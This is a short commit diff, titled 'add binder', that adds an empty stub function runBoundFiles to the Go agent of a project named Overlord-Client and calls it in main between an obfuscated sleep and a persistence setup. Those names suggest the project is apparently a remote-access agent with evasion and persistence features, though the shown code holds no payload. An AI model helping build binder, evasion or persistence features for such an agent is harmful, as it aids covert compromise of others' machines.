add binder

Overlord-Client/cmd/agent/binder_stub.go

@@ -0,0 +1,5 @@
+//go:build !hasbinder
+
+package main
+
+func runBoundFiles() {}

Overlord-Client/cmd/agent/main.go

@@ -16,6 +16,8 @@ func main() {
 		sleepObfuscated(cfg.SleepSeconds)
 	}
 
+	runBoundFiles()
+
 	if cfg.EnablePersistence {
 		if err := persistence.Setup(); err != nil {
 			log.Printf("Warning: Failed to setup persistence: %v", err)